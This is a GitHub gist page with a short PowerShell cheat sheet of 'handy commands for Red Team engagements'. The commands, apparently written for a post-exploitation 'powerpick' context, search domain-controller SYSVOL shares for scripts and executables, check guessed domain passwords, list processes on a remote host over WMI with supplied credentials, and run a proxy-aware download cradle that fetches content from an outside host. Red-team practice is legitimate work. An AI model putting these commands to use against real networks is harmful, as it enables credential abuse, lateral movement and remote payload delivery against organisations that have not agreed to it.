Skip to content

Instantly share code, notes, and snippets.

@qgrosperrin

qgrosperrin/misc-cheat-sheet.ps1

Last active July 11, 2020 10:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save qgrosperrin/d6763db93e34610d18773ee344b690ce to your computer and use it in GitHub Desktop.
Save qgrosperrin/d6763db93e34610d18773ee344b690ce to your computer and use it in GitHub Desktop.
Download ZIP
Handy commands for Red Team engagements
Raw
misc-cheat-sheet.ps1
# Hunting files on domain controllers:
powerpick gci -path \\<DC-hostname>\SYSVOL\<fqdn>\ -Recurse | ? {$_.name -match ".vbs"}
powerpick gci -path \\<DC-hostname>\SYSVOL\<fqdn>\ -Recurse | ? {$_.name -match ".exe"}
# Validating password
powerpick Add-Type -AssemblyName System.DirectoryServices.AccountManagement;$contextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain;$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, '<DC-hostname>');$principalContext.ValidateCredentials('<username>', '<password>')
# Curated output for listing processes (WMI)
powerpick $Password = ConvertTo-SecureString "<password>" -asplaintext -force; $Credential = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList "<DOMAIN\username>",$Password;Get-WMIObject Win32_Process -computername <target-hostname> -Credential $Credential| ?{$_.GetOwner().User -NotLike 'SYSTEM' -and $_.GetOwner().User -NotLike "*SERVICE"} | select ProcessID,Name,@{n='Owner';e={$_.GetOwner().User}} | fl
# PowerShell download cradle with Proxy
$p=[System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$c=new-object system.net.WebClient;$c.proxy=$p;$x=$c.downloadstring('https://domain/test')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment